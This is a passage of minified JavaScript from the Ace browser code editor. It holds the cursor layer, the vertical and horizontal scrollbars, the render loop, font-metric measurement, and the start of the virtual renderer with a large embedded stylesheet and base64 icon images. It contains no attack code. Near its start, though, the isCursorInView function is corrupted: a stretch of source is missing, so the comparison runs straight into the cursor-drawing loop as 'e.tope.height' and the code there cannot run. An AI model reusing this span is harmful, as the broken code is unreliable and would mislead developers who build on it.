i=this.session.documentToScreenPosition(e);return{left:this.$padding+(this.session.$bidiHandler.isBidiRow(i.row,e.row)?this.session.$bidiHandler.getPosLeft(i.column):i.column*this.config.characterWidth),top:(i.row-(t?this.config.firstRowScreen:0))*this.config.lineHeight}},this.isCursorInView=function(e,t){return e.top>=0&&e.tope.height+e.offset||r.top<0)&&i>1)){var a=this.cursors[s++]||this.addCursor(),l=a.style;this.drawCursor?this.drawCursor(a,r,e,t[i],this.session):this.isCursorInView(r,e)?(n.setStyle(l,"display","block"),n.translate(a,r.left,r.top),n.setStyle(l,"width",Math.round(e.characterWidth)+"px"),n.setStyle(l,"height",e.lineHeight+"px")):n.setStyle(l,"display","none")}}for(;this.cursors.length>s;)this.removeCursor();var h=this.session.getOverwrite();this.$setOverwrite(h),this.$pixelPos=r,this.restartTimer()},this.drawCursor=null,this.$setOverwrite=function(e){e!=this.overwrite&&(this.overwrite=e,e?n.addCssClass(this.element,"ace_overwrite-cursors"):n.removeCssClass(this.element,"ace_overwrite-cursors"))},this.destroy=function(){clearInterval(this.intervalId),clearTimeout(this.timeoutId)}}).call(s.prototype),t.Cursor=s})),define("ace/scrollbar",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/event","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/dom"),o=e("./lib/event"),r=e("./lib/event_emitter").EventEmitter,a=32768,l=function(e){this.element=s.createElement("div"),this.element.className="ace_scrollbar ace_scrollbar"+this.classSuffix,this.inner=s.createElement("div"),this.inner.className="ace_scrollbar-inner",this.inner.textContent=" ",this.element.appendChild(this.inner),e.appendChild(this.element),this.setVisible(!1),this.skipEvent=!1,o.addListener(this.element,"scroll",this.onScroll.bind(this)),o.addListener(this.element,"mousedown",o.preventDefault)};(function(){n.implement(this,r),this.setVisible=function(e){this.element.style.display=e?"":"none",this.isVisible=e,this.coeff=1}}).call(l.prototype);var h=function(e,t){l.call(this,e),this.scrollTop=0,this.scrollHeight=0,t.$scrollbarWidth=this.width=s.scrollbarWidth(e.ownerDocument),this.inner.style.width=this.element.style.width=(this.width||15)+5+"px",this.$minWidth=0};n.inherits(h,l),function(){this.classSuffix="-v",this.onScroll=function(){if(!this.skipEvent){if(this.scrollTop=this.element.scrollTop,1!=this.coeff){var e=this.element.clientHeight/this.scrollHeight;this.scrollTop=this.scrollTop*(1-e)/(this.coeff-e)}this._emit("scroll",{data:this.scrollTop})}this.skipEvent=!1},this.getWidth=function(){return Math.max(this.isVisible?this.width:0,this.$minWidth||0)},this.setHeight=function(e){this.element.style.height=e+"px"},this.setInnerHeight=this.setScrollHeight=function(e){this.scrollHeight=e,e>a?(this.coeff=a/e,e=a):1!=this.coeff&&(this.coeff=1),this.inner.style.height=e+"px"},this.setScrollTop=function(e){this.scrollTop!=e&&(this.skipEvent=!0,this.scrollTop=e,this.element.scrollTop=e*this.coeff)}}.call(h.prototype);var c=function(e,t){l.call(this,e),this.scrollLeft=0,this.height=t.$scrollbarWidth,this.inner.style.height=this.element.style.height=(this.height||15)+5+"px"};n.inherits(c,l),function(){this.classSuffix="-h",this.onScroll=function(){this.skipEvent||(this.scrollLeft=this.element.scrollLeft,this._emit("scroll",{data:this.scrollLeft})),this.skipEvent=!1},this.getHeight=function(){return this.isVisible?this.height:0},this.setWidth=function(e){this.element.style.width=e+"px"},this.setInnerWidth=function(e){this.inner.style.width=e+"px"},this.setScrollWidth=function(e){this.inner.style.width=e+"px"},this.setScrollLeft=function(e){this.scrollLeft!=e&&(this.skipEvent=!0,this.scrollLeft=this.element.scrollLeft=e)}}.call(c.prototype),t.ScrollBar=h,t.ScrollBarV=h,t.ScrollBarH=c,t.VScrollBar=h,t.HScrollBar=c})),define("ace/renderloop",["require","exports","module","ace/lib/event"],(function(e,t,i){"use strict";var n=e("./lib/event"),s=function(e,t){this.onRender=e,this.pending=!1,this.changes=0,this.$recursionLimit=2,this.window=t||window;var i=this;this._flush=function(e){i.pending=!1;var t=i.changes;if(t&&(n.blockIdle(100),i.changes=0,i.onRender(t)),i.changes){if(i.$recursionLimit--<0)return;i.schedule()}else i.$recursionLimit=2}};(function(){this.schedule=function(e){this.changes=this.changes|e,this.changes&&!this.pending&&(n.nextFrame(this._flush),this.pending=!0)},this.clear=function(e){var t=this.changes;return this.changes=0,t}}).call(s.prototype),t.RenderLoop=s})),define("ace/layer/font_metrics",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/event","ace/lib/useragent","ace/lib/event_emitter"],(function(e,t,i){var n=e("../lib/oop"),s=e("../lib/dom"),o=e("../lib/lang"),r=e("../lib/event"),a=e("../lib/useragent"),l=e("../lib/event_emitter").EventEmitter,h=256,c="function"==typeof ResizeObserver,u=200,d=t.FontMetrics=function(e){this.el=s.createElement("div"),this.$setMeasureNodeStyles(this.el.style,!0),this.$main=s.createElement("div"),this.$setMeasureNodeStyles(this.$main.style),this.$measureNode=s.createElement("div"),this.$setMeasureNodeStyles(this.$measureNode.style),this.el.appendChild(this.$main),this.el.appendChild(this.$measureNode),e.appendChild(this.el),this.$measureNode.textContent=o.stringRepeat("X",h),this.$characterSize={width:0,height:0},c?this.$addObserver():this.checkForSizeChanges()};(function(){n.implement(this,l),this.$characterSize={width:0,height:0},this.$setMeasureNodeStyles=function(e,t){e.width=e.height="auto",e.left=e.top="0px",e.visibility="hidden",e.position="absolute",e.whiteSpace="pre",a.isIE<8?e["font-family"]="inherit":e.font="inherit",e.overflow=t?"hidden":"visible"},this.checkForSizeChanges=function(e){if(void 0===e&&(e=this.$measureSizes()),e&&(this.$characterSize.width!==e.width||this.$characterSize.height!==e.height)){this.$measureNode.style.fontWeight="bold";var t=this.$measureSizes();this.$measureNode.style.fontWeight="",this.$characterSize=e,this.charSizes=Object.create(null),this.allowBoldFonts=t&&t.width===e.width&&t.height===e.height,this._emit("changeCharacterSize",{data:e})}},this.$addObserver=function(){var e=this;this.$observer=new window.ResizeObserver((function(t){e.checkForSizeChanges()})),this.$observer.observe(this.$measureNode)},this.$pollSizeChanges=function(){if(this.$pollSizeChangesTimer||this.$observer)return this.$pollSizeChangesTimer;var e=this;return this.$pollSizeChangesTimer=r.onIdle((function t(){e.checkForSizeChanges(),r.onIdle(t,500)}),500)},this.setPolling=function(e){e?this.$pollSizeChanges():this.$pollSizeChangesTimer&&(clearInterval(this.$pollSizeChangesTimer),this.$pollSizeChangesTimer=0)},this.$measureSizes=function(e){var t={height:(e||this.$measureNode).clientHeight,width:(e||this.$measureNode).clientWidth/h};return 0===t.width||0===t.height?null:t},this.$measureCharWidth=function(e){return this.$main.textContent=o.stringRepeat(e,h),this.$main.getBoundingClientRect().width/h},this.getCharacterWidth=function(e){var t=this.charSizes[e];return void 0===t&&(t=this.charSizes[e]=this.$measureCharWidth(e)/this.$characterSize.width),t},this.destroy=function(){clearInterval(this.$pollSizeChangesTimer),this.$observer&&this.$observer.disconnect(),this.el&&this.el.parentNode&&this.el.parentNode.removeChild(this.el)},this.$getZoom=function e(t){return t&&t.parentElement?(window.getComputedStyle(t).zoom||1)*e(t.parentElement):1},this.$initTransformMeasureNodes=function(){var e=function(e,t){return["div",{style:"position: absolute;top:"+e+"px;left:"+t+"px;"}]};this.els=s.buildDom([e(0,0),e(u,0),e(0,u),e(u,u)],this.el)},this.transformCoordinates=function(e,t){e&&(e=o(1/this.$getZoom(this.el),e));function i(e,t,i){var n=e[1]*t[0]-e[0]*t[1];return[(-t[1]*i[0]+t[0]*i[1])/n,(+e[1]*i[0]-e[0]*i[1])/n]}function n(e,t){return[e[0]-t[0],e[1]-t[1]]}function s(e,t){return[e[0]+t[0],e[1]+t[1]]}function o(e,t){return[e*t[0],e*t[1]]}function r(e){var t=e.getBoundingClientRect();return[t.left,t.top]}this.els||this.$initTransformMeasureNodes();var a=r(this.els[0]),l=r(this.els[1]),h=r(this.els[2]),c=r(this.els[3]),d=i(n(c,l),n(c,h),n(s(l,h),s(c,a))),g=o(1+d[0],n(l,a)),f=o(1+d[1],n(h,a));if(t){var m=t,p=d[0]*m[0]/u+d[1]*m[1]/u+1,v=s(o(m[0],g),o(m[1],f));return s(o(1/p/u,v),a)}var w=n(e,a),$=i(n(g,o(d[0],w)),n(f,o(d[1],w)),w);return o(u,$)}}).call(d.prototype)})),define("ace/virtual_renderer",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/config","ace/layer/gutter","ace/layer/marker","ace/layer/text","ace/layer/cursor","ace/scrollbar","ace/scrollbar","ace/renderloop","ace/layer/font_metrics","ace/lib/event_emitter","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/dom"),o=e("./config"),r=e("./layer/gutter").Gutter,a=e("./layer/marker").Marker,l=e("./layer/text").Text,h=e("./layer/cursor").Cursor,c=e("./scrollbar").HScrollBar,u=e("./scrollbar").VScrollBar,d=e("./renderloop").RenderLoop,g=e("./layer/font_metrics").FontMetrics,f=e("./lib/event_emitter").EventEmitter,m='.ace_br1 {border-top-left-radius : 3px;}.ace_br2 {border-top-right-radius : 3px;}.ace_br3 {border-top-left-radius : 3px; border-top-right-radius: 3px;}.ace_br4 {border-bottom-right-radius: 3px;}.ace_br5 {border-top-left-radius : 3px; border-bottom-right-radius: 3px;}.ace_br6 {border-top-right-radius : 3px; border-bottom-right-radius: 3px;}.ace_br7 {border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px;}.ace_br8 {border-bottom-left-radius : 3px;}.ace_br9 {border-top-left-radius : 3px; border-bottom-left-radius: 3px;}.ace_br10{border-top-right-radius : 3px; border-bottom-left-radius: 3px;}.ace_br11{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br12{border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br13{border-top-left-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br14{border-top-right-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br15{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_editor {position: relative;overflow: hidden;padding: 0;font: 12px/normal \'Monaco\', \'Menlo\', \'Ubuntu Mono\', \'Consolas\', \'source-code-pro\', monospace;direction: ltr;text-align: left;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);}.ace_scroller {position: absolute;overflow: hidden;top: 0;bottom: 0;background-color: inherit;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;cursor: text;}.ace_content {position: absolute;box-sizing: border-box;min-width: 100%;contain: style size layout;font-variant-ligatures: no-common-ligatures;}.ace_dragging .ace_scroller:before{position: absolute;top: 0;left: 0;right: 0;bottom: 0;content: \'\';background: rgba(250, 250, 250, 0.01);z-index: 1000;}.ace_dragging.ace_dark .ace_scroller:before{background: rgba(0, 0, 0, 0.01);}.ace_gutter {position: absolute;overflow : hidden;width: auto;top: 0;bottom: 0;left: 0;cursor: default;z-index: 4;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;contain: style size layout;}.ace_gutter-active-line {position: absolute;left: 0;right: 0;}.ace_scroller.ace_scroll-left {box-shadow: 17px 0 16px -16px rgba(0, 0, 0, 0.4) inset;}.ace_gutter-cell {position: absolute;top: 0;left: 0;right: 0;padding-left: 19px;padding-right: 6px;background-repeat: no-repeat;}.ace_gutter-cell.ace_error {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAABOFBMVEX/////////QRswFAb/Ui4wFAYwFAYwFAaWGAfDRymzOSH/PxswFAb/SiUwFAYwFAbUPRvjQiDllog5HhHdRybsTi3/Tyv9Tir+Syj/UC3////XurebMBIwFAb/RSHbPx/gUzfdwL3kzMivKBAwFAbbvbnhPx66NhowFAYwFAaZJg8wFAaxKBDZurf/RB6mMxb/SCMwFAYwFAbxQB3+RB4wFAb/Qhy4Oh+4QifbNRcwFAYwFAYwFAb/QRzdNhgwFAYwFAbav7v/Uy7oaE68MBK5LxLewr/r2NXewLswFAaxJw4wFAbkPRy2PyYwFAaxKhLm1tMwFAazPiQwFAaUGAb/QBrfOx3bvrv/VC/maE4wFAbRPBq6MRO8Qynew8Dp2tjfwb0wFAbx6eju5+by6uns4uH9/f36+vr/GkHjAAAAYnRSTlMAGt+64rnWu/bo8eAA4InH3+DwoN7j4eLi4xP99Nfg4+b+/u9B/eDs1MD1mO7+4PHg2MXa347g7vDizMLN4eG+Pv7i5evs/v79yu7S3/DV7/498Yv24eH+4ufQ3Ozu/v7+y13sRqwAAADLSURBVHjaZc/XDsFgGIBhtDrshlitmk2IrbHFqL2pvXf/+78DPokj7+Fz9qpU/9UXJIlhmPaTaQ6QPaz0mm+5gwkgovcV6GZzd5JtCQwgsxoHOvJO15kleRLAnMgHFIESUEPmawB9ngmelTtipwwfASilxOLyiV5UVUyVAfbG0cCPHig+GBkzAENHS0AstVF6bacZIOzgLmxsHbt2OecNgJC83JERmePUYq8ARGkJx6XtFsdddBQgZE2nPR6CICZhawjA4Fb/chv+399kfR+MMMDGOQAAAABJRU5ErkJggg==");background-repeat: no-repeat;background-position: 2px center;}.ace_gutter-cell.ace_warning {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAmVBMVEX///8AAAD///8AAAAAAABPSzb/5sAAAAB/blH/73z/ulkAAAAAAAD85pkAAAAAAAACAgP/vGz/rkDerGbGrV7/pkQICAf////e0IsAAAD/oED/qTvhrnUAAAD/yHD/njcAAADuv2r/nz//oTj/p064oGf/zHAAAAA9Nir/tFIAAAD/tlTiuWf/tkIAAACynXEAAAAAAAAtIRW7zBpBAAAAM3RSTlMAABR1m7RXO8Ln31Z36zT+neXe5OzooRDfn+TZ4p3h2hTf4t3k3ucyrN1K5+Xaks52Sfs9CXgrAAAAjklEQVR42o3PbQ+CIBQFYEwboPhSYgoYunIqqLn6/z8uYdH8Vmdnu9vz4WwXgN/xTPRD2+sgOcZjsge/whXZgUaYYvT8QnuJaUrjrHUQreGczuEafQCO/SJTufTbroWsPgsllVhq3wJEk2jUSzX3CUEDJC84707djRc5MTAQxoLgupWRwW6UB5fS++NV8AbOZgnsC7BpEAAAAABJRU5ErkJggg==");background-position: 2px center;}.ace_gutter-cell.ace_info {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAAAAAA6mKC9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAAJ0Uk5TAAB2k804AAAAPklEQVQY02NgIB68QuO3tiLznjAwpKTgNyDbMegwisCHZUETUZV0ZqOquBpXj2rtnpSJT1AEnnRmL2OgGgAAIKkRQap2htgAAAAASUVORK5CYII=");background-position: 2px center;}.ace_dark .ace_gutter-cell.ace_info {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAJFBMVEUAAAChoaGAgIAqKiq+vr6tra1ZWVmUlJSbm5s8PDxubm56enrdgzg3AAAAAXRSTlMAQObYZgAAAClJREFUeNpjYMAPdsMYHegyJZFQBlsUlMFVCWUYKkAZMxZAGdxlDMQBAG+TBP4B6RyJAAAAAElFTkSuQmCC");}.ace_scrollbar {contain: strict;position: absolute;right: 0;bottom: 0;z-index: 6;}.ace_scrollbar-inner {position: absolute;cursor: text;left: 0;top: 0;}.ace_scrollbar-v{overflow-x: hidden;overflow-y: scroll;top: 0;}.ace_scrollbar-h {overflow-x: scroll;overflow-y: hidden;left: 0;}.ace_print-margin {position: absolute;height: 100%;}.ace_text-input {position: absolute;z-index: 0;width: 0.5em;height: 1em;opacity: 0;background: transparent;-moz-appearance: none;appearance: none;border: none;resize: none;outline: none;overflow: hidden;font: inherit;padding: 0 1px;margin: 0 -1px;contain: strict;-ms-user-select: text;-moz-user-select: text;-webkit-user-select: text;user-select: text;white-space: pre!important;}.ace_text-input.ace_composition {background: transparent;color: inherit;z-index: 1000;opacity: 1;}.ace_composition_placeholder { color: transparent }.ace_composition_marker { border-bottom: 1px solid;position: absolute;border-radius: 0;margin-top: 1px;}[ace_nocontext=true] {transform: none!important;filter: none!important;clip-path: none!important;mask : none!important;contain: none!important;perspective: none!important;mix-blend-mode: initial!important;z-index: auto;}.ace_layer {z-index: 1;position: absolute;overflow: hidden;word-wrap: normal;white-space: pre;height: 100%;width: 100%;box-sizing: border-box;pointer-events: none;}.ace_gutter-layer {position: relative;width: auto;text-align: right;pointer-events: auto;height: 1000000px;contain: style size layout;}.ace_text-layer {font: inherit !important;position: absolute;height: 1000000px;width: 1000000px;contain: style size layout;}.ace_text-layer > .ace_line, .ace_text-layer > .ace_line_group {contain: style size layout;position: absolute;top: 0;left: 0;right: 0;}.ace_hidpi .ace_text-layer,.ace_hidpi .ace_gutter-layer,.ace_hidpi .ace_content,.ace_hidpi .ace_gutter {contain: strict;will-change: transform;}.ace_hidpi .ace_text-layer > .ace_line, .ace_hidpi .ace_text-layer > .ace_line_group {contain: strict;}.ace_cjk {display: inline-block;text-align: center;}.ace_cursor-layer {z-index: 4;}.ace_cursor {z-index: 4;position: absolute;box-sizing: border-box;border-left: 2px solid;transform: translatez(0);}.ace_multiselect .ace_cursor {border-left-width: 1px;}.ace_slim-cursors .ace_cursor {border-left-width: 1px;}.ace_overwrite-cursors .ace_cursor {border-left-width: 0;border-bottom: 1px solid;}.ace_hidden-cursors .ace_cursor {opacity: 0.2;}.ace_hasPlaceholder .ace_hidden-cursors .ace_cursor {opacity: 0;}.ace_smooth-blinking .ace_cursor {transition: opacity 0.18s;}.ace_animate-blinking .ace_cursor {animation-duration: 1000ms;animation-timing-function: step-end;animation-name: blink-ace-animate;animation-iteration-count: infinite;}.ace_animate-blinking.ace_smooth-blinking .ace_cursor {animation-duration: 1000ms;animation-timing-function: ease-in-out;animation-name: blink-ace-animate-smooth;}@keyframes blink-ace-animate {from, to { opacity: 1; }60% { opacity: 0; }}@keyframes blink-ace-animate-smooth {from, to { opacity: 1; }45% { opacity: 1; }60% { opacity: 0; }85% { opacity: 0; }}.ace_marker-layer .ace_step, .ace_marker-layer .ace_stack {position: absolute;z-index: 3;}.ace_marker-layer .ace_selection {position: absolute;z-index: 5;}.ace_marker-layer .ace_bracket {position: absolute;z-index: 6;}.ace_marker-layer .ace_error_bracket {position: absolute;border-bottom: 1px solid #DE5555;border-radius: 0;}.ace_marker-layer .ace_active-line {position: absolute;z-index: 2;}.ace_marker-layer .ace_selected-word {position: absolute;z-index: 4;box-sizing: border-box;}.ace_line .ace_fold {box-sizing: border-box;display: inline-block;height: 11px;margin-top: -2px;vertical-align: middle;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII="),url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACJJREFUeNpi+P//fxgTAwPDBxDxD078RSX+YeEyDFMCIMAAI3INmXiwf2YAAAAASUVORK5CYII=");background-repeat: no-repeat, repeat-x;background-position: center center, top left;color: transparent;border: 1px solid black;border-radius: 2px;cursor: pointer;pointer-events: auto;}.ace_dark .ace_fold {}.ace_fold:hover{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII="),url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACBJREFUeNpi+P//fz4TAwPDZxDxD5X4i5fLMEwJgAADAEPVDbjNw87ZAAAAAElFTkSuQmCC");}.ace_tooltip {background-color: #FFF;background-image: linear-gradient(to bottom, transparent, rgba(0, 0, 0, 0.1));border: 1px solid gray;border-radius: 1px;box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);color: black;max-width: 100%;padding: 3px 4px;position: fixed;z-index: 999999;box-sizing: border-box;cursor: default;white-space: pre;word-wrap: break-word;line-height: normal;font-style: normal;font-weight: normal;letter-spacing: normal;pointer-events: none;}.ace_folding-enabled > .ace_gutter-cell {padding-right: 13px;}.ace_fold-widget {box-sizing: border-box;margin: 0 -12px 0 1px;display: none;width: 11px;vertical-align: top;background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42mWKsQ0AMAzC8ixLlrzQjzmBiEjp0A6WwBCSPgKAXoLkqSot7nN3yMwR7pZ32NzpKkVoDBUxKAAAAABJRU5ErkJggg==");background-repeat: no-repeat;background-position: center;border-radius: 3px;border: 1px solid transparent;cursor: pointer;}.ace_folding-enabled .ace_fold-widget {display: inline-block; }.ace_fold-widget.ace_end {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42m3HwQkAMAhD0YzsRchFKI7sAikeWkrxwScEB0nh5e7KTPWimZki4tYfVbX+MNl4pyZXejUO1QAAAABJRU5ErkJggg==");}.ace_fold-widget.ace_closed {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAGCAYAAAAG5SQMAAAAOUlEQVR42jXKwQkAMAgDwKwqKD4EwQ26sSOkVWjgIIHAzPiCgaqiqnJHZnKICBERHN194O5b9vbLuAVRL+l0YWnZAAAAAElFTkSuQmCCXA==");}.ace_fold-widget:hover {border: 1px solid rgba(0, 0, 0, 0.3);background-color: rgba(255, 255, 255, 0.2);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.7);}.ace_fold-widget:active {border: 1px solid rgba(0, 0, 0, 0.4);background-color: rgba(0, 0, 0, 0.05);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.8);}.ace_dark .ace_fold-widget {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHklEQVQIW2P4//8/AzoGEQ7oGCaLLAhWiSwB146BAQCSTPYocqT0AAAAAElFTkSuQmCC");}.ace_dark .ace_fold-widget.ace_end {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAH0lEQVQIW2P4//8/AxQ7wNjIAjDMgC4AxjCVKBirIAAF0kz2rlhxpAAAAABJRU5ErkJggg==");}.ace_dark .ace_fold-widget.ace_closed {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAFCAYAAACAcVaiAAAAHElEQVQIW2P4//+/AxAzgDADlOOAznHAKgPWAwARji8UIDTfQQAAAABJRU5ErkJggg==");}.ace_dark .ace_fold-widget:hover {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);background-color: rgba(255, 255, 255, 0.1);}.ace_dark .ace_fold-widget:active {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);}.ace_inline_button {border: 1px solid lightgray;display: inline-block;margin: -1px 8px;padding: 0 5px;pointer-events: auto;cursor: pointer;}.ace_inline_button:hover {border-color: gray;background: rgba(200,200,200,0.2);display: inline-block;pointer-events: auto;}.ace_fold-widget.ace_invalid {background-color: #FFB4B4;border-color: #DE5555;}.ace_fade-fold-widgets .ace_fold-widget {transition: opacity 0.4s ease 0.05s;opacity: 0;}.ace_fade-fold-widgets:hover .ace_fold-widget {transition: opacity 0.05s ease 0.05s;opacity:1;}.ace_underline {text-decoration: underline;}.ace_bold {font-weight: bold;}.ace_nobold .ace_bold {font-weight: normal;}.ace_italic {font-style: italic;}.ace_error-marker {background-color: rgba(255, 0, 0,0.2);position: absolute;z-index: 9;}.ace_highlight-marker {background-color: rgba(255, 255, 0,0.2);position: absolute;z-index: 8;}.ace_mobile-menu {position: absolute;line-height: 1.5;border-radius: 4px;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;background: white;box-shadow: 1px 3px 2px grey;border: 1px solid #dcdcdc;color: black;}.ace_dark > .ace_mobile-menu {background: #333;color: #ccc;box-shadow: 1px 3px 2px grey;border: 1px solid #444;}.ace_mobile-button {padding: 2px;cursor: pointer;overflow: hidden;}.ace_mobile-button:hover {background-color: #eee;opacity:1;}.ace_mobile-button:active {background-color: #ddd;}.ace_placeholder {font-family: arial;transform: scale(0.9);transform-origin: left;white-space: pre;opacity: 0.7;margin: 0 10px;}',p=e("./lib/useragent"),v=p.isIE;s.importCssString(m,"ace_editor.css",!1);var w=function(e,t){var i=this;this.container=e||s.createElement("div"),s.addCssClass(this.container,"ace_editor"),s.HI_DPI&&s.addCssClass(this.container,"ace_hidpi"),this.setTheme(t),null==o.get("useStrictCSP")&&o.set("useStrictCSP",!1),this.$gutter=s.createElement("div"),this.$gutter.className="ace_gutter",this.container.appendChild(this.$gutter),this.$gutter.setAttribute("aria-hidden",!0),this.scroller=s.createElement("div"),this.scroller.className="ace_scroller",this.container.appendChild(this.scroller),this.content=s.createElement("div"),this.content.className="ace_content",this.scroller.appendChild(this.content),this.$gutterLayer=new r(this.$gutter),this.$gutterLayer.on("changeGutterWidth",this.onGutterResize.bind(this)),this.$markerBack=new a(this.content);var n=this.$textLayer=new l(this.content);this.canvas=n.element,this.$markerFront=new a(this.content),this.$cursorLayer=new h(this.content),this.$horizScroll=!1,this.$vScroll=!1,this.scrollBar=this.scrollBarV=new u(this.container,this),this.scrollBarH=new c(this.container,this),this.scrollBarV.on("scroll",(function(e){i.$scrollAnimation||i.session.setScrollTop(e.data-i.scrollMargin.top)})),this.scrollBarH.on("scroll",(function(e){i.$scrollAnimation||i.session.setScrollLeft(e.data-i.scrollMargin.left)})),this.scrollTop=0,this.scrollLeft=0,this.cursorPos={row:0,column:0},this.$fontMetrics=new g(this.container),this.$textLayer.$setFontMetrics(this.$fontMetrics),this.$textLayer.on("changeCharacterSize",(function(e){i.updateCharacterSize(),i.onResize(!0,i.gutterWidth,i.$size.width,i.$size.height),i._signal("changeCharacterSize",e)})),this.$size={width:0,height:0,scrollerHeight:0,scrollerWidth:0,$dirty:!0},this.layerConfig={width:1,padding:0,firstRow:0,firstRowScreen:0,lastRow:0,lineHeight:0,characterWidth:0,minHeight:1,maxHeight:1,offset:0,height:1,gutterOffset:1},this.scrollMargin={left:0,right:0,top:0,bottom:0,v:0,h:0},this.margin={left:0,right:0,top:0,bottom:0,v:0,h:0},this.$keepTextAreaAtCursor=!p.isIOS,this.$loop=new d(this.$renderChanges.bind(this),this.container.ownerDocument.defaultView),this.$loop.schedule(this.CHANGE_FULL),this.updateCharacterSize(),this.setPadding(4),o.resetOptions(this),o._signal("renderer",this)};(function(){this.CHANGE_CURSOR=1,this.CHANGE_MARKER=2,this.CHANGE_GUTTER=4,this.CHANGE_SCROLL=8,this.CHANGE_LINES=16,this.CHANGE_TEXT=32,this.CHANGE_SIZE=64,this.CHANGE_MARKER_BACK=128,this.CHANGE_MARKER_FRONT=256,this.CHANGE_FULL=512,this.CHANGE_H_SCROLL=1024,n.implement(this,f),this.updateCharacterSize=function(){this.$textLayer.allowBoldFonts!=this.$allowBoldFonts&&(this.$allowBoldFonts=this.$textLayer.allowBoldFonts,this.setStyle("ace_nobold",!this.$allowBoldFonts)),this.layerConfig.characterWidth=this.characterWidth=this.$textLayer.getCharacterWidth(),this.layerConfig.lineHeight=this.lineHeight=this.$textLayer.getLineHeight(),this.$updatePrintMargin(),s.setStyle(this.scroller.style,"line-height",this.lineHeight+"px")},this.setSession=function(e){this.session&&this.session.doc.off("changeNewLineMode",this.onChangeNewLineMode),this.session=e,e&&this.scrollMargin.top&&e.getScrollTop()<=0&&e.setScrollTop(-this.scrollMargin.top),this.$cursorLayer.setSession(e),this.$markerBack.setSession(e),this.$markerFront.setSession(e),this.$gutterLayer.setSession(e),this.$textLayer.setSession(e),e&&(this.$loop.schedule(this.CHANGE_FULL),this.session.$setFontMetrics(this.$fontMetrics),this.scrollBarH.scrollLeft=this.scrollBarV.scrollTop=null,this.onChangeNewLineMode=this.onChangeNewLineMode.bind(this),this.onChangeNewLineMode(),this.session.doc.on("changeNewLineMode",this.onChangeNewLineMode))},this.updateLines=function(e,t,i){if(void 